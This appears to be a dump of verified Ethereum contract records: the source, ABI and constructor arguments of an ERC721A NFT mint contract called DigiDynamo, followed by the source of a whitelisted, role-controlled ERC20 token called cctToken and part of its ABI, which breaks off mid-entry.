// SPDX-License-Identifier: MIT pragma solidity >=0.8.9 <0.9.0; import 'erc721a/contracts/extensions/ERC721AQueryable.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol'; import '@openzeppelin/contracts/security/ReentrancyGuard.sol'; contract DigiDynamo is ERC721AQueryable, Ownable, ReentrancyGuard { using Strings for uint256; bytes32 public merkleRoot; mapping(address => bool) public whitelistClaimed; string public uriPrefix = ''; string public uriSuffix = '.json'; string public hiddenMetadataUri; uint256 public cost; uint256 public maxSupply; uint256 public maxMintAmountPerTx; bool public paused = true; bool public whitelistMintEnabled = false; bool public revealed = false; constructor( string memory _tokenName, string memory _tokenSymbol, uint256 _cost, uint256 _maxSupply, uint256 _maxMintAmountPerTx, string memory _hiddenMetadataUri ) ERC721A(_tokenName, _tokenSymbol) { setCost(_cost); maxSupply = _maxSupply; setMaxMintAmountPerTx(_maxMintAmountPerTx); setHiddenMetadataUri(_hiddenMetadataUri); } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, 'Invalid mint amount!'); require(totalSupply() + _mintAmount <= maxSupply, 'Max supply exceeded!'); _; } modifier mintPriceCompliance(uint256 _mintAmount) { require(msg.value >= cost * _mintAmount, 'Insufficient funds!'); _; } function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) { // Verify whitelist requirements require(whitelistMintEnabled, 'The whitelist sale is not enabled!'); require(!whitelistClaimed[_msgSender()], 'Address already claimed!'); bytes32 leaf = keccak256(abi.encodePacked(_msgSender())); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), 'Invalid proof!'); whitelistClaimed[_msgSender()] = true; _safeMint(_msgSender(), _mintAmount); } function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) { require(!paused, 'The contract is paused!'); _safeMint(_msgSender(), _mintAmount); } function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner { _safeMint(_receiver, _mintAmount); } function _startTokenId() internal view virtual override returns (uint256) { return 1; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require(_exists(_tokenId), 'ERC721Metadata: URI query for nonexistent token'); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ''; } function setRevealed(bool _state) public onlyOwner { revealed = _state; } function setCost(uint256 _cost) public onlyOwner { cost = _cost; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } function setUriPrefix(string memory _uriPrefix) public onlyOwner { uriPrefix = _uriPrefix; } function setUriSuffix(string memory _uriSuffix) public onlyOwner { uriSuffix = _uriSuffix; } function setPaused(bool _state) public onlyOwner { paused = _state; } function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner { merkleRoot = _merkleRoot; } function setWhitelistMintEnabled(bool _state) public onlyOwner { whitelistMintEnabled = _state; } function withdraw() public onlyOwner nonReentrant { // development of tools like this and many others. // ============================================================================= (bool hs, ) = payable(0x72aBf1Bf001F2Cc8020D7b0B6E91d5e809A77b60).call{value: address(this).balance * 1 / 100}(''); require(hs); // ============================================================================= // ============================================================================= (bool os, ) = payable(owner()).call{value: address(this).balance}(''); require(os); // ============================================================================= } function _baseURI() internal view virtual override returns (string memory) { return uriPrefix; } }

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IERC721A.TokenOwnership","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"tokenIds","type":"uint256[]"}],"name":"explicitOwnershipsOf","outputs":[{"components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint64","name":"startTimestamp","type":"uint64"},{"internalType":"bool","name":"burned","type":"bool"}],"internalType":"struct IERC721A.TokenOwnership[]","name":"","type":"tuple[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hiddenMetadataUri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxMintAmountPerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"merkleRoot","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"},{"internalType":"address","name":"_receiver","type":"address"}],"name":"mintForAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"revealed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_cost","type":"uint256"}],"name":"setCost","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_hiddenMetadataUri","type":"string"}],"name":"setHiddenMetadataUri","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxMintAmountPerTx","type":"uint256"}],"name":"setMaxMintAmountPerTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_merkleRoot","type":"bytes32"}],"name":"setMerkleRoot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"setPaused","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"setRevealed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_uriPrefix","type":"string"}],"name":"setUriPrefix","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_uriSuffix","type":"string"}],"name":"setUriSuffix","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"setWhitelistMintEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"tokensOfOwner","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"start","type":"uint256"},{"internalType":"uint256","name":"stop","type":"uint256"}],"name":"tokensOfOwnerIn","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uriPrefix","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uriSuffix","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"whitelistClaimed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"},{"internalType":"bytes32[]","name":"_merkleProof","type":"bytes32[]"}],"name":"whitelistMint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"whitelistMintEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.8.9+commit.e5eed63a

00000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000470de4df82000000000000000000000000000000000000000000000000000000000000000001f400000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000140000000000000000000000000000000000000000000000000000000000000000b446967692044796e616d6f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000244440000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000041697066733a2f2f516d594164364c796474794e5676323934394c6d694843626e6d56546270345a4c7961563738517951554241707a2f68696464656e2e6a736f6e00000000000000000000000000000000000000000000000000000000000000

Default

cctToken

cctToken.sol

0xcb12bbb675fb6b3bacc44802c44c08720c260db1

Solidity

/** *Submitted for verification at Etherscan.io on 2023-06-21 */ // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.7; interface IERC20 { function name() external view returns (string memory); function symbol() external view returns(string memory); function decimals() external view returns(uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256 remaining); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IWhitelistable { // add to whitelist function whitelist(address target) external; function batchWhitelist(address[] memory targets) external; function dewhitelist(address target) external; // remove from whitelist function batchDehitelist(address[] memory targets) external; function isWhitelisted(address target) external view returns (bool); event Whitelist(address sender, address target); event Dewhitelist(address sender, address target); } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an account access to this role */ function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } /** * @dev remove an account's access to this role */ function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } /** * @dev check if an account has this role * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } abstract contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } abstract contract MinterRole is Ownable { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender)); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyOwner { _addMinter(account); } function removeMinter(address account) public onlyOwner { _removeMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } abstract contract PauserRole is Ownable { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () { _addPauser(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender)); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyOwner { _addPauser(account); } function removePauser(address account) public onlyOwner { _removePauser(account); } function renouncePauser() public { _removePauser(msg.sender); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ abstract contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () { _paused = false; } /** * @return true if the contract is paused, false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } } abstract contract OperatorRole is Ownable { using Roles for Roles.Role; event OperatorAdded(address indexed account); event OperatorRemoved(address indexed account); Roles.Role private _operators; constructor () { _addOperator(msg.sender); } modifier onlyOperator() { require(isOperator(msg.sender)); _; } function isOperator(address account) public view returns (bool) { return _operators.has(account); } function addOperator(address account) public onlyOwner { _addOperator(account); } function removeOperator(address account) public onlyOwner { _removeOperator(account); } function renounceOperator() public { _removeOperator(msg.sender); } function _addOperator(address account) internal { _operators.add(account); emit OperatorAdded(account); } function _removeOperator(address account) internal { _operators.remove(account); emit OperatorRemoved(account); } } contract Whitelistable is IWhitelistable,OperatorRole,Context { mapping (address => bool) internal whitelistedWallets; modifier onlyWhitelisted(address to) { require(whitelistedWallets[to], "The receiving wallet needs to be whitelisted."); _; } function _whitelist(address target) internal { whitelistedWallets[target] = true; emit Whitelist(_msgSender(), target); } function _dewhitelist(address target) internal { whitelistedWallets[target] = false; emit Dewhitelist(_msgSender(), target); } function whitelist(address target) external override onlyOperator { _whitelist(target); } function batchWhitelist(address[] memory targets) external override onlyOperator { for (uint256 i = 0; i < targets.length; i++) { address target = targets[i]; _whitelist(target); } } function dewhitelist(address target) external override onlyOperator { _dewhitelist(target); } function batchDehitelist(address[] memory targets) external override onlyOperator { for (uint256 i = 0; i < targets.length; i++) { address target = targets[i]; _dewhitelist(target); } } function isWhitelisted(address target) external view override returns (bool) { return whitelistedWallets[target]; } } contract cctToken is IERC20, MinterRole, Whitelistable, Pausable{ using SafeMath for uint256; string _name; string _symbol; uint8 _decimals; uint256 public cap; uint256 _totalSupply; mapping(address=>uint256) _balances; mapping(address=>mapping(address=>uint256)) _allowed; constructor(string memory name_,string memory symbol_,uint8 decimals_, uint256 cap_){ _name = name_; _symbol = symbol_; _decimals = decimals_; cap = cap_; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev Total number of tokens in existence */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view override returns (uint256) { return _balances[owner]; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal virtual onlyWhitelisted(to) { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public virtual override whenNotPaused returns (bool) { _transfer(msg.sender, to, value); return true; } function batchTransfer(address[] memory targets, uint256[] memory values) public virtual whenNotPaused onlyOperator { for (uint256 i = 0; i < targets.length; i++) { address target = targets[i]; uint256 value = values[i]; _transfer(msg.sender, target, value); } } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view override whenNotPaused returns (uint256) { return _allowed[owner][spender]; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public virtual override whenNotPaused returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public virtual override whenNotPaused returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } /** * @dev Function to mint tokens * @param to The address that will receive the minted tokens. * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address to, uint256 value) public virtual onlyMinter whenNotPaused returns (bool) { if (cap > 0) { require(totalSupply().add(value) <= cap, "Can not mint to value <= cap"); } _mint(to, value); return true; } /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public whenNotPaused { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param from address The address which you want to send tokens from * @param value uint256 The amount of token to be burned */ function burnFrom(address from, uint256 value) public whenNotPaused { _burnFrom(from, value); } }

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"cap_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"address","name":"target","type":"address"}],"name":"Dewhitelist","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"}],"name":"MinterAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"}],"name":"MinterRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"}],"name":"OperatorAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"}],"name":"OperatorRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Paused","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"}],"name":"PauserAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"}],"name":"PauserRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Unpaused","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"address","name":"target","type":"address"}],"name":"Whitelist","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addMinter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addOperator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addPauser","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"targets","type":"address[]"}],"name":"batchDehitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"targets","type":"address[]"},{"internalType":"uint256[]","name":"values","type":"uint256[]"}],"name":"batchTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"targets","type":"address[]"}],"name":"batchWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"burnFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"cap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"}],"name":"dewhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isMinter","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOperator","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isPauser","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"}],"name":"isWhitelisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"mint","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeMinter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeOperator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removePauser","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceMinter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOperator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renouncePauser","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","